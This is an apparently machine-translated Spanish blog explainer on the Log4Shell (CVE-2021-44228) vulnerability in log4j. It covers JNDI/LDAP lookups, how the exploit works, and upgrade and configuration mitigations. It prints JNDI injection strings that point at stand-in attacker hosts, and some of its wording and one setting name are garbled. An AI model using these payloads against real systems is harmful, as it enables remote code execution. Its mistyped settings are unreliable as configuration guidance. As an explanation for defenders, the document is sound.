¿Qué es la vulnerabilidad Apache Log4j?

El 9 de diciembre de 2021, el mundo tomó conciencia de la mayor y más importante vulnerabilidad individual como CVE-2021-44228, que afecta a la utilidad de registro basada en Java log4j. Chen Zhaojun del equipo de seguridad en la nube de Alibaba informó esta vulnerabilidad a apache el 24 de noviembre de 2021 y la publicó en un tweet el 9 de diciembre de 2021.

La base de software Apache asignó una puntuación de gravedad máxima de 10/10. Esa vulnerabilidad permite a los atacantes ejecutar código remoto y la cadena de carga útil parece «${jndi:ldap://attacker.com/a}». Muchos de los servicios afectados por la organización incluyen Cloudfare, Apple iCloud, Minecraft: java edition, stream, Tencent QQ y Twitter.

¿Qué son log4j y búsqueda?

programa apache 4j Es una utilidad de registro basada en Java. La función de apache log4j es registrar información para ayudar a que las aplicaciones funcionen sin problemas, determinar qué está sucediendo y depurar procesos cuando se producen errores. log4j puede registrar intentos de inicio de sesión (nombre de usuario, contraseña), envíos de formularios y encabezados HTTP (agente de usuario, x-face-host, etc.) en el archivo de registro o la base de datos.

Apache presenta log4j 2.0

  • Nuevo sistema de complementos
  • Soporte para propiedades
  • Soporte de configuración base JSON
  • Configurar recarga automática

Búsqueda proporcionar una forma de agregar valores a la configuración de log4j en lugares arbitrarios.

Sintaxis:

${prefix:name}

Los tipos de búsquedas son los siguientes:

  1. puede buscar contexto
  2. fecha de búsqueda
  3. entorno de búsqueda
  4. busque jndi (causa raíz de la vulnerabilidad)
  5. Buscar Java
    • ${java:versión}
    • ${java: tiempo de ejecución}
    • ${java: os}

Ahora comprendamos brevemente LDAP Y JNDI antes de aprender a usar log4j

¿Qué es LDAP?

El Protocolo ligero de acceso a directorios (LDAP) es un protocolo de aplicación estándar abierto para acceder y mantener servicios de información de directorio distribuidos a través de una red de protocolo de Internet. En pocas palabras, una metáfora del árbol de información llamada Árbol de información de directorio (DIT). Ingrese un nombre de usuario y contraseña para la cuenta de usuario en la aplicación. Aquí el servidor LDAP almacena la información del usuario en su cuenta. cada vez que un usuario intenta iniciar sesión en la aplicación, el servidor LDAP verifica la identidad del usuario mediante autorización. si el nombre de usuario y la contraseña del usuario son correctos, devuelve la cuenta del usuario.

¿Qué es JNDI?

JNDI

JNDI proporciona una API para que las aplicaciones interactúen con objetos remotos registrados con el registro RMI o un servicio de directorio como LDAP. Por lo tanto, la aplicación java no puede realizar una solicitud directamente al servidor LDAP, porque necesitamos jndi, que nos brinda una forma de interactuar con LDAP.

Query: ${jndi:ldap://[server-ip-address]}

Es específico de una interfaz de proveedor de servicios (SPI) que permite agregar implementaciones de servicios de directorio al marco.

¿Cómo se puede explotar una vulnerabilidad de log4j?

Log4j permite que los mensajes de registro contengan cadenas de formato que hacen referencia a información externa a través de la Interfaz de nombres y directorios de Java (JNDI). Esto permite que la información se recupere de forma remota a través de varios protocolos, incluido el Protocolo ligero de acceso a directorios (LDAP).

Se cree que uno de los servicios es vulnerable a una vulnerabilidad log4j. En la vista de nivel de usuario, cuando el usuario intenta iniciar sesión, registra datos de usuario como nombre de usuario, encabezados http (agente de usuario: Mozilla/5.0 (Windows NT 10.0; Win64; x64)). En el caso del atacante, inyecta referencias a una consulta JNDI que apunta al servidor LDAP malicioso que controlan, listo para servir a las clases java maliciosas cualquier acción que elijan. cuando log4j vio la siguiente consulta en un mensaje de registro:

${jndi:ldap://attacker_ldap_server.com/payload}

Indica al JNDI que solicite el servidor en «attacker_ldap_server.com» para el objeto «paylod». JNDI implementará clases de Java que hacen referencia a un servidor LDAP. Si la respuesta del servidor LDAP hace referencia a la URL http://attacker_ldap_server.com/payload, JNDI solicitará automáticamente el archivo de «carga útil» del servidor web y generará la respuesta. Y yaa BOOM….! Ahora puede obtener RCE (Ejecución remota de código) en una aplicación.

Mitigación

1. Log4j 1.x mitigado

  • Esta vulnerabilidad no afecta a Log4j 1.x.

2. Mitigación de Log4j 2.x

  • Actualice a Log4j 2.3.2 (para Java 6), 2.12.4 (para Java 7) o 2.17.1 (para Java 8 y posteriores).

3. Log4j >= v2.10

  • Log4j2.formatMsgNoLookuos=verdadero
  • LOG4J_FORMAT_MSG_NO_LOOKUPS=verdadero

4. Log4j

  • Eliminar la clase de búsqueda jndi del classpath

5. Bloquear intereses

  • reglas WAF
  • Filtros de salida
Mis notas personales
flecha_caer_arriba

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *